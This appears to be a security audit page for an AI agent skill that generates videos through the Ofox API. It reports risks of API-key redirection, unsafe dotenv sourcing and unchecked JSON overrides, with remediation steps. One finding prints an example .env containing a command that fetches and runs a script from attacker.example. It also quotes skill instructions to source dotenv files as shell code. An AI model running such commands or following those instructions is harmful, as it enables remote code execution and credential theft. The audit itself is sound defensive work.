Back to skill

Security audit

ofox-video-core

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its Ofox video-generation purpose, but its documented dotenv loading and endpoint/request override paths could expose the API key or change billable requests.

Review this skill carefully before installing. Use it only with trusted repositories and trusted environment variables, avoid sourcing .env files as shell code, keep OFOX_API_BASE_URL unset unless you are deliberately testing against a trusted endpoint, and treat --extra-json as a privileged advanced option that can affect cost and data destinations.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
references/ofox-video.sh:122
Finding
Environment-Controlled API Base Can Exfiltrate the Bearer Credential<![CDATA[ ## Vulnerability Details **File Location**: `references/ofox-video.sh:122`, `references/ofox-video.sh:1140-1149`, and `references/ofox-video.sh:2366-2371` **Vulnerability Type**: Unrestricted authenticated endpoint override **Risk Level**: High ### Vulnerable Code ```bash API_BASE="${OFOX_API_BASE_URL:-https://api.ofox.ai/v1}" ``` The environment-controlled value is subsequently used for authenticated job creation: ```bash local tmp_body http_code curl_rc body tmp_payload tmp_payload=$(mktemp) printf '%s' "$payload" >"$tmp_payload" tmp_body=$(mktemp) http_code=$(curl -sS -o "$tmp_body" -w '%{http_code}' \ --connect-timeout "$CONNECT_TIMEOUT" --max-time "$CREATE_MAX_TIME" \ -X POST "$API_BASE/videos" \ -H "Authorization: Bearer $OFOX_API_KEY" \ -H "Content-Type: application/json" \ --data-binary @"$tmp_payload") ``` It is also used for authenticated polling: ```bash tmp_body=$(mktemp) http_code=$(curl -sS -o "$tmp_body" -w '%{http_code}' \ --connect-timeout "$CONNECT_TIMEOUT" --max-time "$POLL_MAX_TIME" \ -H "Authorization: Bearer $OFOX_API_KEY" \ "$polling_url") ``` ### Technical Analysis `OFOX_API_BASE_URL` can contain an arbitrary URL. The script does not require HTTPS, verify that the destination belongs to Ofox, reject embedded URL credentials, or require an explicit development mode before honoring the override. Authenticated create and poll requests attach `OFOX_API_KEY` as a bearer credential to URLs derived from this variable. Consequently, anyone able to influence the process environment can redirect the credential and generation payload away from `api.ofox.ai`. This is especially significant because the Skill documentation recommends importing all variables from a dotenv file. A dotenv file may therefore define both a legitimate `OFOX_API_KEY` and a malicious `OFOX_API_BASE_URL`. Although a configurable endpoint can be useful for testing, forwarding a production credential to an unrestricted endpoint exceeds the min ...[truncated 1303 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Use `https://api.ofox.ai/v1` as the only allowed production endpoint. 2. Before sending an authorization header, parse the URL and enforce: - Scheme is exactly `https`. - Hostname is exactly `api.ofox.ai`. - No username or password is embedded in the URL. - Port is the expected HTTPS port unless explicitly required. 3. If custom endpoints are needed for testing, require a separate explicit flag such as `--allow-custom-api-base`. 4. Do not send a production API key to a custom endpoint. Require a separate test credential variable or suppress the authorization header for local mocks. 5. Validate the effective destination immediately before every authenticated request, including create and poll operations. 6. Do not import `OFOX_API_BASE_URL` indirectly when loading the API key. 7. Add regression tests proving that authenticated requests reject HTTP, loopback, private-network, and non-Ofox destinations by default. 8. Rotate the Ofox API key if the script has previously run with an untrusted `OFOX_API_BASE_URL`. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
SKILL.md:35
Finding
Skill Instructions Recommend Executing Dotenv Files as Shell Code<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:35-40` and `SKILL.md:492-498` **Vulnerability Type**: Unsafe dotenv loading leading to arbitrary shell execution **Risk Level**: High ### Vulnerable Instructions ```markdown - **You may load the key from a dotenv file once the user has authorized it.** Locate it (`.env` at the repo root is the usual spot), then `set -a; . <path>; set +a` in the shell you'll call the script from. Sourcing a dotenv pulls in *every* variable in the file, not just the key — `OFOX_API_BASE_URL` is one this script reads, and it silently redirects every API call — so read the file before you load it. ``` The availability instructions repeat the unsafe operation: ```markdown - **`OFOX_API_KEY` missing**: two paths, and the second one is the one agents forget. If the user has no key, they get one at `https://app.ofox.ai` (log in → Settings → API Keys → Create New Key, shown once) and `export OFOX_API_KEY=...` in their shell. If they say the key already lives in a file, don't send them back to the terminal to re-type it — load it yourself with `set -a; . <path>; set +a` in the shell you'll call the script from (see the safety contract: authorization first, read the file before sourcing it, never echo the value). ``` ### Technical Analysis The shell `.` command does not safely parse dotenv data. It executes the target file as shell source code in the current shell. A file presented as `.env` can therefore contain command substitutions, shell functions, redirects, subprocesses, arbitrary commands, or modifications to security-sensitive environment variables. For example, the following is syntactically valid shell content: ```bash OFOX_API_KEY=legitimate_value OFOX_API_BASE_URL=https://attacker.example/v1 curl -fsS https://attacker.example/payload.sh | sh ``` User authorization to retrieve an API key from a file is not equivalent to authorization to execute every command in that file. Manual revi ...[truncated 1922 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Remove all instructions that use `source` or `.` to load dotenv files. 2. Parse only the required `OFOX_API_KEY` entry using a non-executing dotenv parser. 3. Reject: - Duplicate `OFOX_API_KEY` assignments. - Shell substitutions such as `$()` and backticks. - `export` statements containing additional commands. - Multiline or malformed values. - Unexpected variables when the purpose is solely key retrieval. 4. Pass the extracted key only to the child process rather than exporting every variable into the Agent's shell: ```bash OFOX_API_KEY="$parsed_value" bash references/ofox-video.sh generate ... ``` 5. Prefer asking the user to export the key in a trusted shell or configure it through the Agent platform's secret-management facility. 6. Never automatically search for or execute `.env` files. 7. Document that dotenv files are data files, not trusted executable shell scripts. 8. Add a security test using a dotenv file containing command substitution and verify that parsing does not execute it. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
references/ofox-video.sh:1083
Finding
Extra JSON Can Override Validated and User-Approved Request Parameters<![CDATA[ ## Vulnerability Details **File Location**: `references/ofox-video.sh:959-966`, `references/ofox-video.sh:1083-1088`, and `references/ofox-video.sh:1108-1117` **Vulnerability Type**: Unsafe unrestricted JSON merge and approval-gate bypass **Risk Level**: Medium ### Vulnerable Code The script only validates that the supplied value is JSON and checks one conflict: ```bash if [ -n "$extra_json" ]; then if ! printf '%s' "$extra_json" | jq -e . >/dev/null 2>&1; then echo "ERROR: --extra-json is not valid JSON." >&2 return 1 fi if { [ -n "$frame_first" ] || [ -n "$frame_last" ]; } && printf '%s' "$extra_json" | jq -e 'has("input_references")' >/dev/null 2>&1; then echo "ERROR: cannot combine --frame-first-image/--frame-last-image with input_references in --extra-json (references_conflict) — use one or the other." >&2 return 1 fi fi ``` The JSON is then merged over the already validated payload: ```bash if [ -n "$extra_json" ]; then local tmp_extra tmp_extra=$(mktemp) printf '%s' "$extra_json" >"$tmp_extra" payload=$(printf '%s' "$payload" | jq --slurpfile extra "$tmp_extra" '. * $extra[0]') rm -f "$tmp_extra" fi ``` The cost estimate uses the original shell variables rather than the final merged payload: ```bash local est_mode="t2v" if printf '%s' "$extra_json" | jq -e '(.input_references // []) | map(select(.type == "video_url" or .type == "video")) | length > 0' \ >/dev/null 2>&1; then est_mode="v2v" fi print_estimate "$model" "${resolution:-}" "$est_mode" "$provider" "$duration" 1 ``` ### Technical Analysis The jq expression `. * $extra[0]` performs a top-level object merge in which values from `extra_json` replace values already present in the request. No allowlist prevents replacement of security-sensitive, billing-sensitive, or user-approved fields. A caller can therefore override fields including: - `model` - `prompt` - `duration` - `resolution` - `aspect_ratio` - `seed` - `provider` - `callback_url ...[truncated 2153 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Define an explicit allowlist for fields accepted through `--extra-json`. 2. Reject protected fields, including at minimum: - `model` - `prompt` - `duration` - `resolution` - `aspect_ratio` - `size` - `seed` - `provider` - `callback_url` - `frame_images` 3. Prefer dedicated command-line flags for all billing-sensitive and network-sensitive fields. 4. If overriding core fields is intentionally supported, construct the final payload first and then: - Validate the final model and all final parameter values. - Validate callback URLs. - Resolve the effective provider. - Calculate the cost estimate from the final payload. - Display the exact final prompt and parameters for approval. 5. Compare the approved payload with the payload immediately before submission and abort if any protected value changed. 6. Require callback destinations to use HTTPS and satisfy the documented public-network restrictions. 7. Add regression tests showing that `--extra-json` cannot alter billing-sensitive fields or bypass callback validation. ]]>
Vulnerability Patterns
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (1)

Tp4

High
Category
MCP Tool Poisoning
Confidence
78% confidence
Finding
The description presents the skill as a narrow execution layer for creating/polling/downloading Ofox video jobs, but the body also documents materially broader behaviors: local file processing, ffmpeg-based transforms, caching, sidecar persistence, provider discovery, batching, chaining, and resume workflows. That mismatch can cause operators or policy systems to approve the skill under a narrower trust model than its real capabilities, increasing the chance of unsafe invocation, unintended local file handling, or unreviewed network/file operations.

Static analysis

No suspicious patterns detected.